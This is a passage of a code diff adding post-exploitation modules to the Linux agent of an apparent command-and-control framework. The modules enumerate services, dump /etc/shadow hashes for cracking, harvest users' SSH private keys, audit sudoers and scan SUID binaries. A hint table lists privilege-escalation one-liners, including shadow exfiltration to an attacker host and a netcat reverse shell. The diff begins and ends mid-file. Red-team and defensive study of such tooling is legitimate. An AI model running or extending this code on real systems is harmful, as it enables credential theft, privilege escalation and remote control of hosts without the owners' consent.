eol && *p == ' ') p++; + // Now at state field — skip port hex + // Actually simpler: look for " 0A " pattern in line + char *state = AxStrstr(line, " 0A "); + if (state) { + // This is a LISTEN socket — extract local address + char *colon1 = AxStrchr(line, ':'); + if (colon1) { + char *local = colon1 + 2; + char *lcolon = AxStrchr(local, ':'); + if (lcolon && lcolon < state) { + // Parse IP and port + char ip_hex[16]; + int ip_len = (int)(lcolon - local); + if (ip_len > 15) ip_len = 15; + AxMemcpy(ip_hex, local, ip_len); + ip_hex[ip_len] = '\0'; + + // Parse hex port + int port = 0; + for (int i = 1; i <= 4 && lcolon[i]; i++) { + int nibble = 0; + char c = lcolon[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + port = (port << 4) | nibble; + } + + // Parse hex IP (little-endian) + unsigned int ip = 0; + for (int i = 0; i < 8 && ip_hex[i]; i++) { + int nibble = 0; + char c = ip_hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n", + "tcp", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF, + port); + } + } + } + line = eol + 1; + } + AxFree(tcp); + + // UDP listeners (all UDP sockets are effectively "listening") + char *udp = (char *)0; + int udp_len = AxReadFileToBuffer("/proc/net/udp", &udp, 524288); + if (udp_len > 0 && udp) { + char *line2 = udp; + int ln = 0; + while (line2 < udp + udp_len) { + char *eol2 = line2; + while (eol2 < udp + udp_len && *eol2 != '\n') eol2++; + ln++; + if (ln > 1) { + char *colon1 = AxStrchr(line2, ':'); + if (colon1) { + char *local = colon1 + 2; + char *lcolon = AxStrchr(local, ':'); + if (lcolon) { + int port = 0; + for (int i = 1; i <= 4 && lcolon[i]; i++) { + int nibble = 0; + char c = lcolon[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + port = (port << 4) | nibble; + } + if (port > 0) { + unsigned int ip = 0; + char ip_hex[16]; + int ip_len = (int)(lcolon - local); + if (ip_len > 15) ip_len = 15; + AxMemcpy(ip_hex, local, ip_len); + ip_hex[ip_len] = '\0'; + for (int i = 0; i < 8 && ip_hex[i]; i++) { + int nibble = 0; + char c = ip_hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n", + "udp", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF, + port); + } + } + } + } + line2 = eol2 + 1; + } + AxFree(udp); + } +} + +static void enum_systemd_units(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Systemd service units ===\n"); + + const char *unit_dirs[] = { + "/etc/systemd/system", + "/usr/lib/systemd/system", + "/lib/systemd/system", + (const char *)0 + }; + + for (int d = 0; unit_dirs[d]; d++) { + int dirfd = AxOpenDir(unit_dirs[d]); + if (dirfd < 0) continue; + + BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", unit_dirs[d]); + + char dirbuf[8192]; + int count = 0; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Only show .service files + int nlen = AxStrlen(name); + if (nlen > 8 && AxStrcmp(name + nlen - 8, ".service") == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", name); + count++; + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + if (count == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no .service files)\n"); + } + } +} + +static void enum_init_scripts(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Init scripts ===\n"); + + int dirfd = AxOpenDir("/etc/init.d"); + if (dirfd < 0) { + BeaconPrintf(CALLBACK_OUTPUT, " /etc/init.d not found\n"); + return; + } + + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", entry->d_name); + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); +} + +static void enum_running_daemons(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Running daemons (root processes) ===\n"); + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) return; + + char dirbuf[8192]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + char path[128]; + AxSnprintf(path, sizeof(path), "/proc/%d/status", pid); + char *status = (char *)0; + int slen = AxReadFileToBuffer(path, &status, 4096); + if (slen > 0 && status) { + // Check if UID is 0 + char *uid_line = AxStrstr(status, "Uid:\t"); + if (uid_line) { + int uid = str_to_int(uid_line + 5); + if (uid == 0) { + // Get name + char *name_line = AxStrstr(status, "Name:\t"); + if (name_line) { + name_line += 6; + char *eol = AxStrchr(name_line, '\n'); + if (eol) { + char pname[128]; + int plen = (int)(eol - name_line); + if (plen > 127) plen = 127; + AxMemcpy(pname, name_line, plen); + pname[plen] = '\0'; + + // Get PPID + char *ppid_line = AxStrstr(status, "PPid:\t"); + int ppid = 0; + if (ppid_line) ppid = str_to_int(ppid_line + 6); + + // Only show if PPID is 1 (daemon) or 0 (kernel) + if (ppid <= 1) { + BeaconPrintf(CALLBACK_OUTPUT, " PID %-6d %s\n", pid, pname); + } + } + } + } + } + AxFree(status); + } + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Service enumeration\n"); + + enum_listening_services(); + enum_running_daemons(); + enum_systemd_units(); + enum_init_scripts(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Service enumeration complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c new file mode 100644 index 000000000..e6264bc3e --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c @@ -0,0 +1,98 @@ +/// shadow_dump.c — BOF: Dump /etc/shadow + /etc/passwd for offline cracking +/// Compile: gcc -c -o shadow_dump.o shadow_dump.c -include bof_api.h -Os -fPIC +/// Usage: execute bof shadow_dump.o + +void go(char *args, int args_len) { + if (!BeaconIsAdmin()) { + BeaconPrintf(CALLBACK_ERROR, "[!] Not running as root — cannot read /etc/shadow\n"); + return; + } + + // Read /etc/shadow + char *shadow_data = (char *)0; + int shadow_len = AxReadFileToBuffer("/etc/shadow", &shadow_data, 524288); + if (shadow_len > 0 && shadow_data) { + BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/shadow (%d bytes) ===\n", shadow_len); + BeaconOutput(CALLBACK_OUTPUT, shadow_data, shadow_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(shadow_data); + } else { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/shadow\n"); + } + + // Read /etc/passwd for cross-reference + char *passwd_data = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd_data, 524288); + if (passwd_len > 0 && passwd_data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/passwd (%d bytes) ===\n", passwd_len); + BeaconOutput(CALLBACK_OUTPUT, passwd_data, passwd_len); + AxFree(passwd_data); + } + + // Parse shadow for accounts with password hashes (not ! or * or empty) + char *shadow2 = (char *)0; + int shadow2_len = AxReadFileToBuffer("/etc/shadow", &shadow2, 524288); + if (shadow2_len > 0 && shadow2) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Accounts with password hashes ===\n"); + int crackable = 0; + char *line = shadow2; + while (line < shadow2 + shadow2_len) { + // Find end of line + char *eol = line; + while (eol < shadow2 + shadow2_len && *eol != '\n') + eol++; + + // Find first colon (end of username) + char *colon1 = line; + while (colon1 < eol && *colon1 != ':') + colon1++; + + if (colon1 < eol) { + char *hash_start = colon1 + 1; + // Find second colon (end of hash field) + char *colon2 = hash_start; + while (colon2 < eol && *colon2 != ':') + colon2++; + + int hash_len = (int)(colon2 - hash_start); + // Skip locked (!) or disabled (*) or empty accounts + if (hash_len > 2 && *hash_start != '!' && *hash_start != '*') { + // Print username:hash + int uname_len = (int)(colon1 - line); + char uname[256]; + if (uname_len > 255) uname_len = 255; + AxMemcpy(uname, line, uname_len); + uname[uname_len] = '\0'; + + char hash[512]; + if (hash_len > 511) hash_len = 511; + AxMemcpy(hash, hash_start, hash_len); + hash[hash_len] = '\0'; + + // Identify hash type + const char *htype = "unknown"; + if (AxStrncmp(hash, "$1$", 3) == 0) htype = "MD5"; + if (AxStrncmp(hash, "$5$", 3) == 0) htype = "SHA-256"; + if (AxStrncmp(hash, "$6$", 3) == 0) htype = "SHA-512"; + if (AxStrncmp(hash, "$y$", 3) == 0) htype = "yescrypt"; + if (AxStrncmp(hash, "$2b$", 4) == 0) htype = "bcrypt"; + if (AxStrncmp(hash, "$2a$", 4) == 0) htype = "bcrypt"; + + BeaconPrintf(CALLBACK_OUTPUT, " [%s] %s:%s\n", htype, uname, hash); + crackable++; + } + } + + line = eol + 1; + } + + if (crackable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no crackable hashes found)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d crackable account(s) found\n", crackable); + BeaconPrintf(CALLBACK_OUTPUT, "[*] Crack with: hashcat -m 1800 hashes.txt wordlist.txt\n"); + } + + AxFree(shadow2); + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c new file mode 100644 index 000000000..c733c6df7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c @@ -0,0 +1,214 @@ +/// ssh_keys.c — BOF: Scan all users for SSH private keys, configs, known_hosts +/// Compile: gcc -c -o ssh_keys.o ssh_keys.c -include bof_api.h -Os -fPIC +/// Usage: execute bof ssh_keys.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +static void scan_ssh_dir(const char *homedir, const char *username) { + char ssh_path[512]; + AxSnprintf(ssh_path, sizeof(ssh_path), "%s/.ssh", homedir); + + int fd = AxOpenDir(ssh_path); + if (fd < 0) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s/.ssh/)\n", username, homedir); + + char dirbuf[4096]; + int found_keys = 0; + + while (1) { + int nread = AxReadDir(fd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. + if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) { + pos += entry->d_reclen; + continue; + } + + char filepath[768]; + AxSnprintf(filepath, sizeof(filepath), "%s/%s", ssh_path, name); + + // Check if it's a private key file + int is_privkey = 0; + if (AxStrcmp(name, "id_rsa") == 0 || + AxStrcmp(name, "id_ed25519") == 0 || + AxStrcmp(name, "id_ecdsa") == 0 || + AxStrcmp(name, "id_dsa") == 0) { + is_privkey = 1; + } + + // Also detect non-standard key names by reading header + if (!is_privkey && entry->d_type == DT_REG) { + char header[64]; + int hfd = AxOpenFile(filepath, 0, 0); + if (hfd >= 0) { + int n = AxReadFile(hfd, header, 63); + AxCloseFile(hfd); + if (n > 30) { + header[n] = '\0'; + if (AxStrstr(header, "PRIVATE KEY") != (char *)0) { + is_privkey = 1; + } + } + } + } + + if (is_privkey) { + // Read and dump the private key + char *key_data = (char *)0; + int key_len = AxReadFileToBuffer(filepath, &key_data, 65536); + if (key_len > 0 && key_data) { + // Check if encrypted + int encrypted = 0; + if (AxStrstr(key_data, "ENCRYPTED") != (char *)0) + encrypted = 1; + + BeaconPrintf(CALLBACK_OUTPUT, " [KEY] %s (%d bytes)%s\n", + name, key_len, encrypted ? " [ENCRYPTED]" : " [UNENCRYPTED]"); + BeaconOutput(CALLBACK_OUTPUT, key_data, key_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + found_keys++; + AxFree(key_data); + } + } else if (AxStrcmp(name, "authorized_keys") == 0) { + // Show authorized keys (who can login) + char *ak_data = (char *)0; + int ak_len = AxReadFileToBuffer(filepath, &ak_data, 65536); + if (ak_len > 0 && ak_data) { + // Count keys + int nkeys = 0; + for (int i = 0; i < ak_len; i++) { + if (ak_data[i] == '\n') nkeys++; + } + if (ak_len > 0 && ak_data[ak_len - 1] != '\n') nkeys++; + + BeaconPrintf(CALLBACK_OUTPUT, " [AUTH] authorized_keys (%d keys)\n", nkeys); + BeaconOutput(CALLBACK_OUTPUT, ak_data, ak_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(ak_data); + } + } else if (AxStrcmp(name, "known_hosts") == 0) { + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [HOSTS] known_hosts (%ld bytes)\n", fsize); + } + } else if (AxStrcmp(name, "config") == 0) { + // SSH config can reveal internal hosts, jump proxies, etc. + char *cfg_data = (char *)0; + int cfg_len = AxReadFileToBuffer(filepath, &cfg_data, 65536); + if (cfg_len > 0 && cfg_data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CONFIG] config (%d bytes)\n", cfg_len); + BeaconOutput(CALLBACK_OUTPUT, cfg_data, cfg_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(cfg_data); + } + } + + pos += entry->d_reclen; + } + } + AxCloseFile(fd); + + if (found_keys == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no private keys found)\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning SSH keys for all users...\n"); + + // Parse /etc/passwd to find home directories + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (passwd_len <= 0 || !passwd) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/passwd\n"); + return; + } + + int users_scanned = 0; + int total_keys = 0; + char *line = passwd; + + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // Parse passwd line: username:x:uid:gid:gecos:homedir:shell + int field = 0; + char *username = line; + int username_len = 0; + char *homedir = (char *)0; + int homedir_len = 0; + char *shell = (char *)0; + int shell_len = 0; + char *field_start = line; + + for (char *p = line; p <= eol; p++) { + if (p == eol || *p == ':') { + if (field == 0) { + username = field_start; + username_len = (int)(p - field_start); + } else if (field == 5) { + homedir = field_start; + homedir_len = (int)(p - field_start); + } else if (field == 6) { + shell = field_start; + shell_len = (int)(p - field_start); + } + field++; + field_start = p + 1; + } + } + + // Skip system accounts with nologin/false shells (but keep root) + int skip = 0; + if (shell && shell_len > 0) { + // Check last component of shell path + if (shell_len >= 7 && AxStrncmp(shell + shell_len - 7, "nologin", 7) == 0) + skip = 1; + if (shell_len >= 5 && AxStrncmp(shell + shell_len - 5, "false", 5) == 0) + skip = 1; + } + + // Always scan root regardless of shell + if (username_len == 4 && AxStrncmp(username, "root", 4) == 0) + skip = 0; + + if (!skip && homedir && homedir_len > 0 && homedir_len < 256) { + char home_buf[512]; + AxMemcpy(home_buf, homedir, homedir_len); + home_buf[homedir_len] = '\0'; + + char uname_buf[256]; + if (username_len > 255) username_len = 255; + AxMemcpy(uname_buf, username, username_len); + uname_buf[username_len] = '\0'; + + scan_ssh_dir(home_buf, uname_buf); + users_scanned++; + } + + line = eol + 1; + } + + AxFree(passwd); + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Scanned %d user(s)\n", users_scanned); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c new file mode 100644 index 000000000..0ba344773 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c @@ -0,0 +1,264 @@ +/// sudo_check.c — BOF: Parse sudoers configuration + check current user privileges +/// Compile: gcc -c -o sudo_check.o sudo_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof sudo_check.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_REG 8 + +static void print_interesting_lines(const char *data, int len, const char *source) { + // Parse line by line, show non-comment, non-empty lines + const char *line = data; + int interesting = 0; + + while (line < data + len) { + const char *eol = line; + while (eol < data + len && *eol != '\n') + eol++; + + int line_len = (int)(eol - line); + + // Skip empty lines and comments + if (line_len > 0) { + // Skip leading whitespace + const char *start = line; + while (start < eol && (*start == ' ' || *start == '\t')) + start++; + + int content_len = (int)(eol - start); + if (content_len > 0 && *start != '#') { + // Check for high-value patterns + int is_nopasswd = 0; + int is_all = 0; + + // Manual search for NOPASSWD + for (const char *p = start; p + 8 <= eol; p++) { + if (AxStrncmp(p, "NOPASSWD", 8) == 0) { + is_nopasswd = 1; + break; + } + } + // Search for ALL + for (const char *p = start; p + 3 <= eol; p++) { + if (p[0] == 'A' && p[1] == 'L' && p[2] == 'L') { + is_all = 1; + break; + } + } + + char prefix[16]; + prefix[0] = ' '; prefix[1] = ' '; + int plen = 2; + if (is_nopasswd && is_all) { + // Critical: NOPASSWD + ALL + prefix[0] = '!'; prefix[1] = '!'; + } else if (is_nopasswd || is_all) { + prefix[0] = ' '; prefix[1] = '*'; + } + prefix[plen] = '\0'; + + // Print the line with truncation guard + char linebuf[1024]; + if (content_len > 1020) content_len = 1020; + AxMemcpy(linebuf, start, content_len); + linebuf[content_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, "%s %s\n", prefix, linebuf); + interesting++; + } + } + line = eol + 1; + } + + if (interesting == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no active rules in %s)\n", source); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Sudoers configuration audit\n"); + BeaconPrintf(CALLBACK_OUTPUT, " Legend: !! = critical (NOPASSWD+ALL), * = notable\n\n"); + + // 1. Read /etc/sudoers + char *sudoers = (char *)0; + int sudoers_len = AxReadFileToBuffer("/etc/sudoers", &sudoers, 524288); + if (sudoers_len > 0 && sudoers) { + BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/sudoers ===\n"); + print_interesting_lines(sudoers, sudoers_len, "/etc/sudoers"); + AxFree(sudoers); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Cannot read /etc/sudoers (need root or sudo group)\n"); + } + + // 2. Scan /etc/sudoers.d/ + int dirfd = AxOpenDir("/etc/sudoers.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. and hidden files + if (name[0] != '.') { + char filepath[512]; + AxSnprintf(filepath, sizeof(filepath), "/etc/sudoers.d/%s", name); + + char *fdata = (char *)0; + int flen = AxReadFileToBuffer(filepath, &fdata, 524288); + if (flen > 0 && fdata) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", filepath); + print_interesting_lines(fdata, flen, filepath); + AxFree(fdata); + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } + + // 3. Check current user's groups (from /proc/self/status) + char *status = (char *)0; + int status_len = AxReadFileToBuffer("/proc/self/status", &status, 65536); + if (status_len > 0 && status) { + // Find "Groups:" line + char *groups_line = AxStrstr(status, "Groups:"); + if (groups_line) { + char *eol = groups_line; + while (eol < status + status_len && *eol != '\n') + eol++; + int gline_len = (int)(eol - groups_line); + if (gline_len > 0) { + char gbuf[512]; + if (gline_len > 511) gline_len = 511; + AxMemcpy(gbuf, groups_line, gline_len); + gbuf[gline_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Current process ===\n"); + BeaconPrintf(CALLBACK_OUTPUT, " PID: %d | UID: %d | EUID: %d\n", + AxGetPid(), AxGetUid(), AxGetEuid()); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gbuf); + } + } + AxFree(status); + } + + // 4. Check if user is in sudo/wheel group via /etc/group + char *group_file = (char *)0; + int group_len = AxReadFileToBuffer("/etc/group", &group_file, 524288); + if (group_len > 0 && group_file) { + // Get current username from /proc/self/status (Name: field) or UID + int my_uid = AxGetUid(); + + // Find username from /etc/passwd by UID + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + char my_username[256]; + my_username[0] = '\0'; + + if (passwd_len > 0 && passwd) { + char uid_str[16]; + AxSnprintf(uid_str, sizeof(uid_str), "%d", my_uid); + int uid_str_len = AxStrlen(uid_str); + + char *line = passwd; + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // username:x:uid:... + char *c1 = AxStrchr(line, ':'); + if (c1 && c1 < eol) { + char *c2 = AxStrchr(c1 + 1, ':'); + if (c2 && c2 < eol) { + char *uid_start = c2 + 1; + char *c3 = AxStrchr(uid_start, ':'); + if (c3 && c3 < eol) { + int u_len = (int)(c3 - uid_start); + if (u_len == uid_str_len && AxStrncmp(uid_start, uid_str, u_len) == 0) { + int name_len = (int)(c1 - line); + if (name_len > 255) name_len = 255; + AxMemcpy(my_username, line, name_len); + my_username[name_len] = '\0'; + break; + } + } + } + } + line = eol + 1; + } + AxFree(passwd); + } + + if (my_username[0] != '\0') { + BeaconPrintf(CALLBACK_OUTPUT, " Username: %s\n", my_username); + + // Check privileged groups + const char *priv_groups[] = {"sudo", "wheel", "admin", "root", "docker", "lxd", "disk", (const char *)0}; + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Privileged group membership ===\n"); + + char *line = group_file; + while (line < group_file + group_len) { + char *eol = line; + while (eol < group_file + group_len && *eol != '\n') + eol++; + + // group:x:gid:member1,member2,... + char *c1 = AxStrchr(line, ':'); + if (c1 && c1 < eol) { + int gname_len = (int)(c1 - line); + + // Check if this is a privileged group + for (int i = 0; priv_groups[i]; i++) { + int pg_len = AxStrlen(priv_groups[i]); + if (gname_len == pg_len && AxStrncmp(line, priv_groups[i], gname_len) == 0) { + // Check if our user is a member + // Find last colon (members field) + char *last_colon = eol - 1; + while (last_colon > c1 && *last_colon != ':') + last_colon--; + if (*last_colon == ':') { + char *members = last_colon + 1; + int members_len = (int)(eol - members); + + // Search for username in comma-separated list + int uname_len = AxStrlen(my_username); + char *search = members; + while (search + uname_len <= eol) { + if (AxStrncmp(search, my_username, uname_len) == 0) { + char after = (search + uname_len < eol) ? *(search + uname_len) : '\0'; + if (after == ',' || after == '\0' || after == '\n') { + char gname_buf[64]; + if (gname_len > 63) gname_len = 63; + AxMemcpy(gname_buf, line, gname_len); + gname_buf[gname_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " [!] Member of '%s' group\n", gname_buf); + break; + } + } + // Advance to next comma or end + while (search < eol && *search != ',') + search++; + if (search < eol) search++; + } + } + } + } + } + line = eol + 1; + } + } + AxFree(group_file); + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c new file mode 100644 index 000000000..ef2590009 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c @@ -0,0 +1,240 @@ +/// suid_scan.c — BOF: Recursive SUID/SGID binary scanner with GTFOBins hints +/// Compile: gcc -c -o suid_scan.o suid_scan.c -include bof_api.h -Os -fPIC +/// Usage: execute bof suid_scan.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 +#define DT_LNK 10 + +#define S_ISUID 04000 +#define S_ISGID 02000 +#define S_IXUSR 00100 +#define S_IXGRP 00010 +#define S_IXOTH 00001 + +// Known GTFOBins SUID escalation targets +typedef struct { + const char *name; + const char *hint; +} gtfobins_t; + +static const gtfobins_t gtfobins[] = { + {"bash", "bash -p"}, + {"sh", "sh -p"}, + {"dash", "dash -p"}, + {"zsh", "zsh"}, + {"csh", "csh"}, + {"ksh", "ksh"}, + {"env", "env /bin/sh -p"}, + {"find", "find . -exec /bin/sh -p \\;"}, + {"nmap", "nmap --interactive -> !sh"}, + {"vim", "vim -c ':!sh'"}, + {"vi", "vi -c ':!sh'"}, + {"nano", "nano -> ^R^X -> reset; sh 1>&0 2>&0"}, + {"less", "less /etc/passwd -> !/bin/sh"}, + {"more", "more /etc/passwd -> !/bin/sh"}, + {"man", "man man -> !/bin/sh"}, + {"awk", "awk 'BEGIN {system(\"/bin/sh\")}'"}, + {"perl", "perl -e 'exec \"/bin/sh\";'"}, + {"python", "python -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"}, + {"python3", "python3 -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"}, + {"ruby", "ruby -e 'exec \"/bin/sh\"'"}, + {"lua", "lua -e 'os.execute(\"/bin/sh\")'"}, + {"php", "php -r 'system(\"/bin/sh\");'"}, + {"node", "node -e 'child_process.spawn(\"/bin/sh\",{stdio:[0,1,2]})'"}, + {"cp", "cp /bin/sh /tmp/sh && chmod +s /tmp/sh"}, + {"mv", "mv /bin/sh /tmp/sh (overwrite protected binary)"}, + {"dd", "LFILE=shadow && dd if=/etc/$LFILE"}, + {"tar", "tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/sh"}, + {"zip", "zip /tmp/t /etc/passwd -T --unzip-command='sh -c /bin/sh'"}, + {"gcc", "gcc -wrapper /bin/sh,-p,-s ."}, + {"make", "make -s --eval='$(shell /bin/sh -p)'"}, + {"docker", "docker run -v /:/mnt --rm -it alpine chroot /mnt sh"}, + {"pkexec", "pkexec /bin/sh (CVE-2021-4034)"}, + {"doas", "doas /bin/sh"}, + {"sudo", "sudo -l (check allowed commands)"}, + {"su", "su - (needs password)"}, + {"mount", "mount -o bind /bin/sh /usr/bin/target"}, + {"umount", "umount -l"}, + {"chroot", "chroot / /bin/sh -p"}, + {"strace", "strace -o /dev/null /bin/sh -p"}, + {"ltrace", "ltrace -b -L /bin/sh -p"}, + {"gdb", "gdb -nx -ex '!sh' -ex quit"}, + {"screen", "screen (old versions CVE-2017-5618)"}, + {"tmux", "tmux (check socket permissions)"}, + {"wget", "wget --post-file=/etc/shadow http://attacker/"}, + {"curl", "curl file:///etc/shadow"}, + {"nc", "nc -e /bin/sh attacker 4444"}, + {"ncat", "ncat -e /bin/sh attacker 4444"}, + {"socat", "socat stdin exec:/bin/sh"}, + {"ssh", "ssh -o ProxyCommand=';sh 0<&2 1>&2' x"}, + {"scp", "scp -S /tmp/evil.sh x: ."}, + {"rsync", "rsync -e 'sh -p' . localhost:/dev/null"}, + {"tee", "echo data | tee /etc/crontab (file write)"}, + {"sed", "sed -n '1e exec sh -p 1>&0' /dev/null"}, + {"ed", "ed -> !/bin/sh"}, + {"ar", "TF=$(mktemp -u); ar r $TF /etc/shadow; cat $TF"}, + {"base64", "base64 /etc/shadow | base64 -d"}, + {"xxd", "xxd /etc/shadow | xxd -r"}, + {"taskset", "taskset 1 /bin/sh -p"}, + {"time", "time /bin/sh -p"}, + {"timeout", "timeout 5 /bin/sh -p"}, + {"nice", "nice /bin/sh -p"}, + {"ionice", "ionice /bin/sh -p"}, + {"start-stop-daemon", "start-stop-daemon -n x -S -x /bin/sh -- -p"}, + {"xargs", "xargs -a /dev/null sh -p"}, + {(const char *)0, (const char *)0} +}; + +static const char *find_gtfobins_hint(const char *basename) { + for (int i = 0; gtfobins[i].name; i++) { + if (AxStrcmp(basename, gtfobins[i].name) == 0) + return gtfobins[i].hint; + } + return (const char *)0; +} + +// Extract basename from path +static const char *get_basename(const char *path) { + const char *last = path; + for (const char *p = path; *p; p++) { + if (*p == '/') last = p + 1; + } + return last; +} + +static int suid_count = 0; +static int sgid_count = 0; +static int gtfobins_count = 0; + +static void scan_directory(const char *dirpath, int depth) { + if (depth > 8) return; // Max recursion depth + + int fd = AxOpenDir(dirpath); + if (fd < 0) return; + + char dirbuf[8192]; + + while (1) { + int nread = AxReadDir(fd, dirbuf, 